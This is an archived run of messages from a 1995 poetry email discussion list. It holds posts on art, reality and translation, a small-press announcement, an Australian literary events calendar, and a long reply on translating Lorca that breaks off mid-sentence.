amen to that, as i indicated in my own reply-button skirmish not 10 minutes ago. by the way dodie, do you know liz kotz? if so, tell me by back channel how to reach her please. we used to hang out in sf, then she wrote to me and i took 6 months to answer. so naturally i suspect the return address i used is no good.--abjectly sincere, maria d

↑ Index

619. **John Byrum**
Re: loss of the name/art & sa...
Wed 31 May 1995

Carl,

Sorry I forgot so quickly your source. I lose track easily apparently. Usually think of what's called "myself" as a spreading field composed of brief glints of recognition melded with darker areas of "oh yeah" and lots of blank that never get known in any "recognizable" ways. But knowing is a deepness we aren't exactly familiar with or even always aware of. I'm satisfied with letting experiences percolate into aquifers deeper than can always be retrieved in the forms they had when they seeped in. They surface transformed in memory & my writing.

Best,

John

↑ Index

620. **John Byrum**
Re: Art, etc.
Wed 31 May 1995

Carl,

Thanks for putting those quotes on art & aesthetics out. As usual, I find I agree and disagree with various points taken in various ways in all of them. And all of them are pertinent and provoking.

There is a point of view from which one can say that all our productions are "muzak" or decoration, just as there are other points of view from which one can say that any individual production has important contributions to make to our awareness of our situation. There is a point of view that allows us to state (and feel) that art is the production and embodied realization of difference, and of the intertwined difference (multiplicity) in unity. Everywhere is the center. Centers everywhere radiating. And etc.

John

↑ Index

621. **John Byrum**
Re: Actually actual?
Wed 31 May 1995

I say the real is anything we go through, all our experiences. I say even what we imagine we cannot imagine is the real. What is unimaginable is equally real in its way as the pain we feel when we cut a finger or lose a loved one.

John

↑ Index

622. **John Byrum**
Re: art after art after art
Wed 31 May 1995

> *dear Herb & other old farts on the list,*
> *isnt it just great to watch the young folks do it all again thinking*
> *it's for the first time...heh heh (wheeze wheeze*
>
> *...what's old is new again, eh*
> *c*

I'm appropriating my father's increasingly sagging jowls and death wheeze.

I'm taking on my mother's increasing forgetfulness as she grows older sitting alone in her apartment.

I see how each of us curls and coils through these little lettered curls & coils time & time again.

↑ Index

623. **Steve Carll**
really actual yoed
Wed 31 May 1995

for hassan, tony green, etc.:

nothing
to get
hungabout

--Steve (fresh from Salt Lake City, no less!)

↑ Index

624. **Jake Berry**
John, Hank - Re: art's after
Wed 31 May 1995

Yes, a definition of quality that I can agree with. The constant movement beyond, before that which is, is even set down. Artaud said, "x clear ideas are ideas that are dead and finished." This act then would be what's after art, and any poetry or any other form would reflect that, though there would be no absolute necessity to perpetuate the forms, or calling what results by any single label. The point is, as you said Hank, the disruption which is a joy, an exquisite agony I think. In our recent e-mail discussions, Jim Leftwich speaks of "proprioceptive gnosis", the nerves and muscle that drives, fuels the process. It is a form of living that discharges as poetry or paint, or any medium and under any name, or lack thereof - to constantly act beyond your own preconceptions, even beyond your own perceptions. In a sense, if it doesn't kill you a little its not worth living.

Jake

↑ Index

625. **Michael Boughn**
AHP
Wed 31 May 1995

Welcome back, AHP, we missed ya! Really real missing . . .

Mike
[redacted]

↑ Index

626. **Edward Foster**
Re: where were you born
Wed 31 May 1995

---

thank you, marisa. but the cover is wholly the work of brad o'sullivan, hand done on naropa press. typeface (with which i'm very pleased) is the choice of matt corry. one couldn't not ask for better work than what these terrific people gave.

↑ Index

627. Edward Foster
Re: Art, etc.
Wed 31 May 1995

"The icon painting aims to convey not the face but the gaze." --Sergij Bulgakov

↑ Index

628. Gary Sullivan
from PARADOX AND EVOL
Wed 31 May 1995

from PARADOX AND EVOL
by G.K. Bataille
Kim Urizen, trans.

In the midst of the rowdy imperial epic
the blasted head flashes
w/thrill on the lips. Each vein, a bayonet
vibrates the latrine of the heart.
--Ted Swinburne

Why should a period of revolution lend a lustre to the arts and the world of letters? Few events in e-space have a greater symbolic value than the storming of the Poeticslist by Auntie Hegemony, despite the fact that the "storming" was itself symbolic. (Can one already inside the compound be said to have "stormed" it?) My concern here is not with the mode of her poetic realization, and the judgment must be that the realization is less poetic, more intellectual. The contemplative _sees_. (Note the homophonic "seize.") Auntie Hegemony is not so much great because of her published achievement as great because she is right. Her achievement deserves a homage less indiscriminate than it has yet been accorded; thus I do more than praise what she wrote: I praise what she knew. She cannot be praised too highly so long as praise is confined to what is praiseworthy. Her especial gift was her physical intuition of being; her especial triumph was her exploitation of paradox to embody that intuition. W.R. Titterton is a biographer, Uncle Edgar a critic, and both of their limits are those of their respective professions. To cast, oneself as with another, as "professional" -- and the biographer, the critic, neither is more or less a "professional" than the academic or the publisher -- is to cast limits. Titterton and Poe are both businessmen. Titterton is an idiot. Edgar, a bitter materialist. Auntie Hegemony decided on an event that was to shake, if not to deliver, the world. She appears to have employed the pipe used for emptying dirty water as a loud speaker and one of her many provocative actions was to yell out that the prisoners were being slaughtered. This was truly a liberation, but in the cryptic sense of a dream, a dream of "Evol" -- not quite Revolution or Evolution, not

quite Evil, the mirror image of Love (which is not Hate, but, simply, Evol). Q: Who is Satan? A: What is poetry? The grave filled in, sewn with acorns so that, in the future, the ground will be covered with vegetation ... is/isn't poetry. My lips move as I write it down as it happens ... is/isn't poetry. What do you want? ... is/isn't poetry. The Hegelian may say that an egg is really a hen, because it is part of an endless process of Becoming; the Berkeleian may hold that poached eggs only exist as a dream exists; since it is quite as easy to call the dream the cause of the eggs as the eggs the cause of the dream; the Pragmatist may believe that we get the best out of scrambled eggs by forgetting that they ever were eggs, and only remembering the scramble. But no pupil of Auntie Hegemony needs to addle hir brains in order to addle hir eggs; to put hir head at any peculiar angle in looking at eggs, or squinting at eggs, or winking the other eye in order to see a new simplification of eggs: A pose is a pose is a pose. The Auntie Hegemonist stands in the broad daylight of the brotherhood of women, the sisterhood of men, in their common consciousness that eggs are not hens or dreams or mere practical assumptions; but things attested by the authority of the Senses: Appose is appose is appose. All poets are amateurs, white gleams of water that shine suddenly like swords or spears in the green thickets. Can they honestly be compiled? --G.K. Bataille

↑ Index

629. Gary Sullivan

Summer is here...

Wed 31 May 1995

Dear Poeticslist People: Due to a combination of outside forces (specifically, good weather, bad finances and a backlog of things to attend to), I'll be temporarily unplugging my Internet package, including Poeticslist. I'll have e-mail for a couple more days at least (I have to cancel it by written request), if anyone wants to get in touch with me that way. Otherwise, my address is as follows: Gary Sullivan 1506 Grand Avenue, #3 St. Paul, MN 55105-2222 Note that the above is also the address for Detour Press. If you'd like to send poetry, fiction, drama, visual work, etc., for consideration, send it to that address, and state, specifically, that you'd like what you're sending to be considered for publication. (I get a lot of manuscripts in the mail, and a couple years ago made the mistake of "rejecting" something that hadn't been intended for publishing consideration.) So, please, be specific with your intentions, if you'd like your work considered for publication. Also, for those unfamiliar with the press, while I can't speak for my co-editor Marta Deike, I tend to be generally interested in work of "satirical nature." (Which isn't to say, strictly speaking, "satire.") Marta has her own interests w/respect to the press;

the things that we've published constitute a common ground or compromise (take your pick) of our combined interests. Also note: we are only able to publish 1 or 2 books a year; this limits the focus (and output) of the press considerably. We are not (obviously) New Directions. I owe several of you on this list books; if I promised you them and you haven't yet received them, you know who you are. I'll send them shortly when I can afford to. (Not too long, I hope.) I also owe a number of you responses to work, letters, etc.--you'll be hearing from me soon via snail-mail. We're interested in exchanging books for other books or magazines; so, anyone who wants any of the following, but would rather trade than buy, send your wares w/an explanation that that's what you're doing, or query first if you're more comfortable doing that. DARK DECADE, a novel (w/illustrations) by Johanna Drucker, 128 pp., 1995, $10.95
FEAR & PHILOSOPHY, fiction by Stephen-Paul Martin, 128 pp., 1994, $8.95
I SHOT THE HAIRDRESSER, fiction by David Gilbert, 128 pp., 1994, $8.95
SOUND OFF, poetry by Spencer Selby, 64 pp., 1993, $7.95 We have a couple of other books planned -- if they come out & I'm not on-line at that time, I'll have Spencer or someone post notices.

Have fun, everyone, and remember: THERE IS NO ULTIMATE AUTHORITY.

Yours,

Gary

↑ Index

630. **Carl Lynden Peters**

After Art: Last Words

Wed 31 May 1995

BRANCUSI'S LADDER: T a
Ta sa
Tab asa
Tabu rasa
Tabul rasa
Tabula rasa
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carl

↑ Index

631. **Tony Green**
Re: art after art after art
Wed 31 May 1995

Dear John Byrum, It's gone quiet this a.m. -- all the traffic going to Vancouver I guess. Yesterday, looking at The Death of Eudamidas and the Extreme Unction by Nicolas Poussin, it occurred to me to ask my students, some twenty of them, if any of them had ever been at a death-bed. Not one and nor have I and that makes it difficult to inhabit the figures of the paintings in the way the painter and his contemporaries could. The best I could manage that way was seeing my father barely conscious after his last stroke in London, full of the usual tubes and wires. The doctors had sat in committee and decided they had to leave all the gear in place. When he made a partial recovery he was not altogether pleased by their decision. Arguments about the real branch out in all directions from there.

Best wishes to you and Generator Press.

↑ Index

632. **Jonathan Brannen**
Re: Actually actual?
Wed 31 May 1995

Maria,

Thanks for filling my memory lapse!

"Nothing is real. Everything is permitted."

hassam i sabba

adios,
Jonathan

↑ Index

633. **Jonathan Brannen**
Re: Actually actual?
Wed 31 May 1995

---

tony and maria,

ABBA? high art?

how about a little reggae instead?

best, jonathan

↑ Index

634. **Mark Roberts**
(no subject)
Wed 31 May 1995

June Happenings

Australian Writing OnLine

AWOL Happenings. A monthly guide to readings, book launches, conferences and other events relating to Australian literature both within Australia and overseas. If you have any item which you would like included in future listings please contact AWOL on email [redacted] or write to AWOL, PO Box 333, Concord NSW 2137, Australia. AWOL postings are also available by snail mail - please contact us for details.

AWOL posts are archived on the WWW at the following address http://www.anatomy.su.oz.au /danny/books/index.html then click on Australian Writing OnLine.

****

NSW

SYDNEY

******** BOOK LAUNCHES ********

Island Press is a small co-operative press which has been publishing poetry since 1975. The motivating force behind it is Phillip Hammial, whose book JUST DESERTS (Island) is to be launched by Leith Morton on 3 June at 3pm at the Courthouse Hotel, Newtown.

As part of Martin Smith's Bookshop's second series of 'Writers on the Beach' INKLINGS journal presents INKLINGS ON THE BEACH: READINGS FROM THE JOURNAL. Wednesday 28 June 1995 7pm at Ravesi's Hotel, Bondi Beach (corner Campbell Parade and Hall Street). Admission $7/$4 concession: Refreshments provided. INKLINGS gratefully acknowledges assistance from the NSW Writers' Centre, The Literature Board of the Australia Council and Martin Smith's Bookshop Bondi Beach.

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********** READINGS **********

SYDNEY

4th Monday of each month...FUTURE POETS SOCIETY 8pm, Lapidary Club Room, Gymea Bay Road, Gymea. Details phone Anni Featherstone (02) [redacted].

Every Tuesday...POETRY SUPREME 9pm, Eli's Restaurant, 132 Oxford Street, Darlinghurst. Details phone/fax (02) [redacted].

1st and 3rd Wednesday ...POETS UNION 7pm, The Gallery Cafe, 43 Booth Street, Annandale. Details phone (02) [redacted].

2nd Wednesday...WOMEN WRITERS' NETWORK 7.30pm, NSW Writers' Centre. Details Ann Davis (02) [redacted].

4th Wednesday...LIVE POETS AT DON BANKS MUSEUM 7.30pm, 6 Napier Street North Sydney. Guest reader plus open section. Admission $6 includes wine. Details phone Sue Hicks or Danny Gardiner (02) [redacted].

Every Thursday...POETRY ALIVE 11am-1pm, Old Courthouse, Bigge Street, Liverpool. Details phone (02) [redacted].

1st Friday...EASTERN SUBURBS POETRY GROUP 7.30pm, Everleigh Street, Waverly. Details phone (02) [redacted].

2nd & 4th Saturday...GLEEBOOKS READINGS 2pm, Gleebooks, 49 Glebe Point Road, Glebe. Details Nick Sykes (02) [redacted].

3rd Sunday...POETRY WITH GLEE: THE POETS UNION AT GLEEBOOKS. 2-4pm, 49 Glebe Point Road, Glebe. Admission $5/$2 Details Nick Sykes (02) [redacted].

Every Sunday...THE WORD ON SUNDAY11.30am Museum of Contemporary Art, Circular Quay. Admission $8/ $5. Details phone (02) [redacted].

REGIONAL

ARMIDALE 1st Wednesday 7.30pm, Rumours Cafe in the Mall. Details phone James Vicars (067) 73 2103.

WOLLONGONG 2nd & 4th Tuesday 7.30pm, Here's Cheers Restaurant, 5 Victoria Street, Wollongong. Details phone Ian Ryan (042) 84 0645.

WAGGA WAGGA

6 JUNE, 8pm, An Evening of WRITERS' READINGS, Firenze Italian Restaurant ph (069) 214211. JACKIE HUGGINS - aboriginal biographer: "Aunty Rita", POLONIUS POETS - from Canberra: Robert Verdon, Kathy Kituai, Francesca Rendle-Short and possibly Russell Irwin. MARK BRENNAN - first performance of his chamber opera for four voices. Admission: $8, $6 and $5

JUNE 9, 7.30 pm, ABC Radio Riverina Studio: Local media identity, Jennifer Sexton will open the exhibition "LOOKING AT THE WORLD THROUGH WOMEN'S EYES" - a travelling exhibition of visual poetry. This is the fifth 'suitcase exhibition' originated by the School of Women Artists Network (SWAN) and allows local writers to submit works to be included as the exhibition tours (a kind of rolling stone that DOES gather moss). For information, contact Debra Luttrell ph 069 315488.

28 JUNE 7.30 pm, Booranga Writers' Centre at Charles Sturt University, Wagga Wagga. EDITING WORKSHOP - run by David Gilbey. Participants to bring recent work in multiple copies. Cost: $12, $10.

For details about Wagga Wagga events contact David Gilbey ph. (069) 332465, fax (069) 332792 email [redacted]

LISMORE 3rd Tuesday 8pm. Stand Up Poets, Lismore Club, Club Lane. Details phone David Hallett (066) 891318.

NEWCASTLE

1st Sunday... Illuminating Tales at the Commonwealth Hotel, Union/ Bull Streets, Newcastle. Details phone Bill Iden (049) 675 972

3rd Monday... Poetry at the Pub. Newcastle Bowling Club, Watt Street. Details phone Bill Iden (049) 675 972
****

QUEENSLAND

Queensland Writers Centre Events

Exciting Writing: Reading of New Works at the Queensland Writers' Centre. 27 June 'The House is Live' with Maryanne Lynch, Daynan Brazil and Clive Williams. Chaired by Hilary Beaton. Queensland Writer' Centre, 535 Wickham Terrace, Spring Hill. 7.30 pm. Admission $10 for QWC members. $15 for non-members.

Proof Reading and Editing Skills. Susan Addison conducts a basic skills workshop at the Queensland Writer' Centre, 535 Wickham Terrace, Spring Hill on Saturday 3 June 10am-4pm. Admission $40 for QWC members and $70 for non-members. Phone (07) 8391243 for further details.

Illustrating for young people: a course for adults. Greg Rogers conducts this five week course starting on Tuesday 6 June at 5.30pm at Hamilton Library. A booking fee of $10 for QWC members and $20 for non-members applies. Contact the Queensland Writer' Centre, 535 Wickham Terrace, Spring Hill or any Brisbane City Council Library or phone (07) [redacted] for further details. This is a part of the Queensland Writers' Centre 'Writers in the Library' Project.

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** CONFERENCES **

GRIFFITH UNIVERSITY/JAMES COOK UNIVERSITY

QUEENSLAND STUDIES CENTRE ANNUAL CONFERENCE 8-9 JULY

WAR'S END?

August 1945 marked the end of the most harrowing and transforming collective experience in the history of modern Australia. How much of the 'old' Australia came to an end with the cessation of hostilities, and how much continued as before? What different meanings did the war's end have for different groups and institutions in Australian society?

The Queensland Studies Centre will be holding its annual two-day conference, in association with the History Department of James Cook University in Townsville on 8-9 July of this year.

The conference will be interdisciplinary in scope, embracing military, social and cultural history; politics and political economy; literary and cultural studies. Papers exploring any of the following aspects of the topic would be welcome:

* literature and the arts
* education and social policy
* Aboriginal and ethnic communities
* women's history
* military and social history
* politics and industrial relations
* journalism and the media

Venue: Townsville, Queensland.

Date: 8-9 July, 1995.

Enquiries to:

The Queensland Studies Centre (Director, Patrick Buckridge)
Faculty of Humanities
Griffith University
Nathan QLD 4111.
Ph.: (07) 85 5494 Fax: (07) [redacted]
E-mail: [redacted]

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Association for the Study of Australian Literature

ASAL
2-7 July 1995
Adelaide

The 1995 ASAL conference will be held at the historic Institute Building on North Terrace in the heart of Adelaide.

Keynote Speaker:
Paul Carter, author of The Road to Botany Bay and Living in a New Country.

Dorothy Green Memorial Lecture:
Drusilla Modjeska, author of Exiles at Home and Poppy.

Enquiries: Phil Butterss, Department of English, University of Adelaide, Adelaide 5005.
Ph: (08) [redacted]. Fax: (08) [redacted].
Email: [redacted]

(The 1995 ASAL program is available on AWOL's WWW link. Address http://www.anatomy.su.oz.au/danny/books/index.html then click on Australian Writing OnLine)

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EUROPEAN ASSOCIATION FOR STUDIES ON AUSTRALIA

Third conference: Copenhagen, October 6-9, 1995

Conference theme: Inhabiting Australia: The Australian Habitat and Australian Settlement.

The conference aims to bring together contributions from a wide range of disciplines, from architecture to zoology. Papers which take up the theme from cultural, historical, social, scientific, literary and other perspectives are invited.

Registration forms will be distributed by the beginning of January, 1995. Deadline for registration, July 1, 1995.

Further information available from Conference organisers:

* Bruce Clunies Ross (45) 35 32 85 82 internet: [redacted] * Martin Leer (45) 35 32 85 87 internet: [redacted] * Merete Borch (45) 35 32 85 84 internet: [redacted]

Copenhagen University, Department of English
Njalsgade 80, DK-2300 Kobenhavn S

Tlf. (45) 35 32 86 00
Fax (45) 35 32 86 15

* Eva Rask Knudsen
Wiedeweldtsgade 50, st.
2100 Copenhagen O.
(45) 35266025

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SYMPOSIUM: (POST) COLONIAL FICTIONS: RE-READING ELIZA FRASER AND THE WRECK OF THE STIRLING CASTLE. University of Adelaide, 25-26 Nov., 1995.

Contact: Kay Schaffer, Department of Women's Studies, 08 [redacted] direct, 08 [redacted] FAX, e-mail: [redacted]

Post-colonial studies within Australia have attempted to re-evaluate and re-write colonial history to include those people either marginalised or subjugated by the colonial process. This two day symposium will explore a different aspect of post-colonial discourse through the exploration of one of the best known events in Australian colonial history. In 1836 the 'Stirling Castle' was wrecked off the Queensland coast and many of the crew together with the Captain's wife, Eliza, were marooned on Fraser Island. Events surrounding the rescue of the castaways, in particular Mrs. Fraser, received international media attention. In the last 160 years the story of Eliza Fraser has become the subject of popular myth, fiction, opera, art, film and scholarly research in the areas of cultural studies, literature, history, anthropology, archaeology, women's studies, and the visual arts. (Post) Colonial Fictions will examine critically the Eliza Fraser saga by bringing together, for the first time, an interdisciplinary team of academics, authors, artists and members of the Fraser Island community. Discussions will include feminist analyses of the incident, textual and iconographic representations of Aboriginal people, and Eliza Fraser as a creative inspiration for the arts.

Speakers on 19th century ethnography, visual arts, and Fraser Island history include: Ian Mc Niven, Lynette Russell, Rod McNeil, Olga Miller, Elaine Brown; on 20th century cultural studies and Batdjala representations include: Kay Schaffer, Sue Kossew, Jim Davidson, Jude Adams and Fiona Foley. We are hopeful that the symposium will include an exhibition of Fiona Foley's works and a performance by University of Adelaide Conservatorium of Music students of the theatre opera: "Eliza Fraser Sings" (arranged by Peter Sculthorpe/libretto by Barbara Blackman).

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CONTESTS & COMPETITIONS

The Mattara Poetry Prize is back, and is now known as the Newcastle Poetry Prize. As in previous years, the prize is $10,000. This year we are looking for an unpublished poem or group of poems (not necessarily thematically connected) of fewer than 200 lines. There is a $5 entry fee this year, and the closing date is 17 JULY 1995. The judges are Dorothy Hewett, Antigone Kefala and Paul Kavanagh.

To enter: Send 2 stamped addressed envelopes plus $5 to:
The Newcastle Poetry Prize
Newcastle Community Arts Centre
PO Box 5267D
Newcastle West NSW 2302

No personal details should appear on the manuscript. Any enquiries can be directed to the Arts Centre on (049) 611696 or the English Department at Newcastle University on (049) 215175. Alternatively, e-mail Tim Dolin: [redacted].

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While every effort has been made to ensure that the information on this list is correct, AWOL recommends that you contact individual organisers to confirm details

↑ Index

@poetics

The UB Poetics Discussion Group

Archive of Electronic Correspondence

June 1995

502 messages · Thu 1 Jun 1995 – Fri 30 Jun 1995

June opens with an image the poets could not have invented had they tried: two spacecraft, American and Russian, clasping in orbit three hundred miles above the earth, Atlantis and Mir docked at last. Down on the ground a leather glove is conspicuously failing to fit a defendant's hand in a Los Angeles courtroom, and Sarajevo endures another summer of its siege. The list observes none of this directly. Its own June is given over instead to a single creeping suspicion — that the age of rules is ending, in physics, in linguistics, and, heaven help the meter, in prosody.

The news arrives, flatly, from Jorge Guitart: *“rules are disappearing everywhere,”* he reports, even from the linguists' own models, where laws have quietly dwindled into mere constraints. Burt Kimmelman, the month's most tireless correspondent, hears in this the makings of a program and asks whether what the list is really after is *“A poetics of Fuzzy Logic, say?”* Sheila Murphy, in the spirit of what she calls adhocracy, proposes that arbitrary constructs are useful precisely as tension — good only until, left alone, they ossify.

A list that has begun to doubt its rules will, predictably, begin to doubt itself. Ric Caddel, writing from a fairly isolated Durham, admits he is amazed how often the question crops up, and answers it with the observation that *“the purpose of the list shifts and veers”* as the topics come and go — which is, of course, the whole point and no cause for alarm. The self-examination sharpens into a brief, bruising round of name-calling before the season's better angels prevail.

Relief comes, as it so often does in this company, in the shape of a list within the list. Jordan Davis simply transcribes the *“Books on the windowsill by my bed”* — Turgenev, Chekhov, Hamsun, and more — and the thread blooms at once into a communal inventory of what the poets are actually reading when no one is watching. Chris Stroffolino is glad to see Hamsun there; the sentimentality argument, carried over from May, murmurs on beneath, unresolved and unhurried.

The month closes on a reading rather than an argument. Lindz Williamson writes back from the last night of the Blaser conference in Vancouver, reporting Bowering in his usual *“kid in a candy store”* form and Ondaatje enthralling, and signs off with a fond adios. So June completes its circuit — from the collapse of the rules to the plain pleasure of a good reading, which requires none of them. I have

ordered the letters, drawn the black bars across every address, and left the applause where it fell.

— Kristen M. Fabians

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1. Burt Kimmelman

Re: writing about the body

Thu 1 Jun 1995

I presume that the "backchannel" communication regarding the bacchanalian poem (lovely) "sonnets to bodily love" is an intentional pun?

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2. I.LIGHTMAN

thinking about translation, re:Lorca (long)

Thu 1 Jun 1995

A week or so back, Ernesto Grosman sent the RIF/T questionnaire about translation to the list, shortly after I'd sent a translation of the opening speech of Lorca's first play Bad Dream of the Butterflies. My head has been absolutely buzzing with ideas since starting the Lorca translation, and so I'm going to be arrogant enough to attempt a public reply to the questions on Ernesto's questionnaire, with mostly specific respect to this Lorca translation. Do, please, everyone, leave this message here if this seems to you as arrogant a presumption on my part as it seems to me, but I do want to answer:

> "*QUESTIONNAIRE/CUESTIONARIO*

*How would you define translation? As a process or as product?"

I am writing the Lorca very much for an ordinary theatre audience, going on my feelings for what audiences around me have responded to in theatre I've seen. I don't expect a very active audience, which for me is required when I do what I think of as process work. For example, as part of my long poem DISABUSE, I translate the opening pages of Foucault's History of Sexuality - precisely as a *close reading*, giving me the opportunity to offer frequent footnotes on what I think is going on, where I differ as a thinker etc. In other words, I do the Foucault translation as something to be read as part of the debate on how readers *construct* and *write* what they think they're reading, in other words a *process* that *appropriates* the original writing. In a similar way, in the same long poem, I "translate" a new story, set on a journey around the world by airplane from New Zealand to England, pretty much line for line on top of the first Canto of the _Cantos of Ezra Pound_. But this translation from Pound is much less antagonistic, much more a way of saying that Pound has got at some essence of the pain of travelling to and from loved ones, finding one's shipmates and so on.

My Lorca is much more a *product*, something vying to be published as an official translation, not as a response of mine to Lorca but as helping Lorca speak to the English-speaking.

> "*Who is translating?*"

I was drawing especially on the persona of Joel Grey in _Cabaret_. My first master of translation, Donald Davie, very much inspired me to choose an existing English-speaking model - or preferably fuse two or more. Nevertheless these are more like flavourings, the approach to language, I think, remains very consistent from translation to translation of mine, very mandarin and autocratic - when translating Foucault or Lorca or Beckett or Mallarme or Rainault. In some ways I am attracted to translating them because I have trouble being authoritative, governmental, about my own themes and concerns, having gravitas, and want to learn how. My own work is more process-like, written for other artists (not by utter choice, but artists are who respond best to it, unlike the Lorca or others, who I've shown to lots of appreciative people). My one exception is the Pound, which struck a real chord of vulnerability and stoic suffering for me, but then I wasn't having to be so close word-by-word.

> "*What is being translated?*"

For me, something is being presented. It must be interesting to people who only speak English, and it must be as interesting as work written in English first. It's a lot like the problem with academic critical essays; it mustn't be worthy and cold, so you have to work really hard to read it; it must have joi de vivre, like Davie's essays or Marjorie Perloff's.

> "*Do you consider some texts to be untranslatable? If so, how would you describe the obstacle?"

Very pun-laden work seems hard, which I myself do; though my Foucault was done precisely to rescue him, like a lot of the post-structuralists, from readers (and his official translator) who were missing all his puns. I translated him with lots of 1990s pop culture references, to try to put his work back into a leather jacket not a dust jacket!

> "*Isn't the idea of "version" a funny place for the translator to be left in?"

My Pound was a version, and the Lorca and the French poets a translation; I don't like Robert Lowell's "versions" of poems at all; they're so muscle bound and over-rich. As I say above, I think of the work as first of all a rival for original poetry; the technical question of how close the version is only interests me if I like it; I'm not a *translator*, or a versioner; I *use* translation, like I *use* other forms, and get *used* by them; lots of the writers who I know who are *translators*, who do whole books of versions or translations, are awful.

>"*When see some of your own texts translated into a different language from the one you wrote them in, what kind of relation would you established between the two of them?"

I've had my writing set to music once; because I couldn't sing it, it was too personal; the singer who set and sang it sang it from my heart.

"*Is it true that today there are fewer people translating? If so, why?"

I suspect there is just the same ratio of people doing good translations to people doing bad work as there always was.

> "*What does it say about our present situation that translation seems to occur almost only when the "original" material is has been canonized within its own culture?"

This is a big one for me. I tend to re-translate, with the exception of the Beckett, from bi-lingual editions, when the existing translation really bums me out. I hate the fact that, like so many authors, they are read badly; are in the public or canonical space but are not really understood (like Pound's Selected Poems being bought only for the imagist work, which is then travestied by admirers). The Lorca play I'm doing has only been translated once, by Gwyn Edwards, who translates Lorca wholesale - albeit from a deep love of Lorca - and seems to have rushed over this one for comprehensive coverage at the cost of specificity. Most translations are "canonised" oddly; my favourite approach would be to have anthologies of translations of Lorca, or Mallarme, or Baudelaire, collecting all the best translations of individual poems in magazines or the translator's collected works, eg Davie's Collected Poems has several marvellous individual translations, and he has many uncollected. My Lorca would have the Station Hill translations, Langston Hughes' Blood Wedding, very little by Gwyn Edwards. I'd ask the question: why do people feel safer reading one foreign poet exclusively translated by one translator? I like the Picador collected Rilke, and Michael Hamburger's Celan, Stephen Rodefer's Villon, but few others on this model. I'm raising here the question of collected work from a foreign writer writing in discrete different forms, eg Lorca's many different types of play, or a lyric poet's different poems.

>"*And what would be the possible relation between this kind of selection and that other relationship between imperialism & translation?"

Lowell seems very imperialist, decadent and loud; my favourite translations however make the English accomodate the other culture, the feel and the facts, and send me to the culture; then it is up to *me*, as a person, not to be imperialist; I think there are no signs of imperialist *writing* or *translating*, though there may be larger effects, and the work may be used as part of or to justify an imperialist strategy.

> "*Are you ready to accept translation as another way of writing?*"

If there's time.

"*When you or somebody else refers to a text as illegible, what do you does she/he mean by that? Do you see any connection between the notion of a text being illegible and the task of translation?"

Most illegible things are illegible in their own way, a different way from the way any other illegible thing is illegible. That different way can be emulated in a translation.

"*Do you think of some texts as more worthy of a translation than others? Could you elaborate on it?"

I do think people go for comfort too easily, and I do think some work is more complex, and sometimes more true, than others; but I just want to tell someone to stop, not make them. Then maybe they might teach me something in their response.

"*Would you say that you translate a text or a person?"

In the Lorca, I did try to produce effects that would perturb a gay separatist, or a homophobe; that would make a reader wonder where I stand, and to emphasise an inwardness, a belonging, with both cruising on the heath and living a regular life in the suburbs; trying to speak the lingo, the parlance, of disparate groups; and to use nineties' references, and to be a little brazen or shocking now, as I think Lorca was then, while not losing a sense of it being a play from the 20s altogether. I tried to avoid being one thing and not the other, as I think that's what resonates for me in Lorca's vision of love. To learn from, to be intimate, to steal, to go undercover, and to speak out from within, a community, a friend, a text. I'd also emphasise how much for me metaphor came up as a big issue when translating Foucault and Lorca - so much so, that I was making copious observations in a notebook about metaphor as a route to everything; the Lorca really got me writing my own work again, a sequence about metaphor, which I'll backchannel anyone who wants to see it. It was the best way of reconciling the critical act of reading as a trained critic, and the creative act of translation. By which I mean, I would think of four or more sentences to translate one sentence of the Lorca and then be able to discard them by alluding to it in a metaphor. For example, the Lorca I sent has a second half which begins, in paraphrase, a wood sylph who walks with the aid of crutches, and who came from a Shakespeare play, met the poet one day after all the cattle had been penned in, and gave the poet this story. I worked for *hours* on this line; I was so interested that the sylph had come from a Shakespeare play, I thought of Ariel as much as Titania, so interested that a fictional character was talked about as living, so interested in the fact that a fictional character had given a real author a play, and so on. I really liked making the sylph a "veteran Shakesperean fairy" as it could be an actor or a character, conjured up Gielgud and Wilde and other queer men who are

allowed to be fey and feminine and powerful (which I want to be); I liked giving him a cane, rather than crutches, for elegance and dignity in the advantage of being old enough to have a cane where it's too much in a young man. I started out with a line not in the Spanish at all; "so many are dying to get out of books", but then just worked it in to "escaped to the living wood pulp of a real heath" which is a pretty close if colourful periphrasis for Lorca's own emphasis throughout the piece on how things usually get simplified by the way they're put, in holy books and folk legends, and in the line on the fact that the sylph comes from a *real* wood (there's that word *real* again!). I really enjoyed the fact that the expression "gave him the plot" popped into my head for "gave the poet this story"; like a lot of my translation this carries a perfectly workable simple meaning, but also means "clued him in", "wised up the dodo" etc.

> "*Do you consider yourself a translation?*"

Not simply.

> "*Could you imagine life without translation?*"

Yeah, I'd just live, others would just live. Unmanageable population growth, and the fact that one of the major population killers, AIDS, is killing off our world's best people, oppressed from birth and who sees the world in more detail than a survivor who has to, would mean we'd succumb to thoughtless regulation and regression. To fight for translation, we must do much more than fight for words; luckily, translation will be a luxury we'll have if we make the more basic simple changes.

Sorry to go on and on and on,

Ira Lightman

[redacted]

P.S. I only have French, from classes between 11 and 18 years old, and Latin. I worked through the Spanish of the Lorca by my French, by intuition, by hard work, and with the existing Gwyn Edwards translation. I didn't work with a Spanish dictionary or a Spanish speaker.

P.P.S. I think of translation as emotional and cultural rather than trying to match language to language - though as I've tried to show above, I find all the responses that explode *out* of a reading of the original find themselves folded back in, usually using metaphor, in very similar word order in the translation.

P.P.P.S Further thoughts since writing the above two days ago. I've since read the whole play through in the not so bad Gwyn Edwards version - perhaps he sped through the intro speech and worked hard on the play proper? It seems spooky, yet part of the kind of psychic atmosphere that leads me to find works to read or translate in my path at crucial times, that I finished my questionnaire with a reference to AIDS, which has been much on my mind lately, and then

found so much anticipated in Lorca's play. I'd just read an Aaron Shurin piece on AIDS in the mag ACTS 10, which I've had on my bedroom floor for a while but felt an urge to pick up yesterday; then read the whole of the Bad Dream of the Butterflies, then came onto campus today and found the recent New Republic issue on AIDS - at no point did I do an archive search, or consciously purposed to research AIDS more, it's just happened this way. Things to translate fall into my path in the same way. I don't know how I'm going to make the rest of my Lorca translation accomodate all these contexts of reading, especially concerning AIDS, that are, it seems to me, coming in in the exact space between reading and reformulating-as-new-writing. One needs a politically and experientially mature audience, as opposed to a stylistically or formalism-experienced audience, to be able to do what I want. Once again, as in the veteran fairy with the cane, there is a wounded butterfly, who the characters often call a fairy, in the play, who is the wisest and most utopian soul. The characters around the butterfly very simply, or synchronically one might say, equate the butterfly's poorliness with what they see as the misguided quest for a radical love/freedom/society; they don't see the butterfly as a pioneer on a quest, as the pioneer of a future line, heroically putting everything into the quest. Nor do they see the wounds as in any way their fault, as something inflicted by the 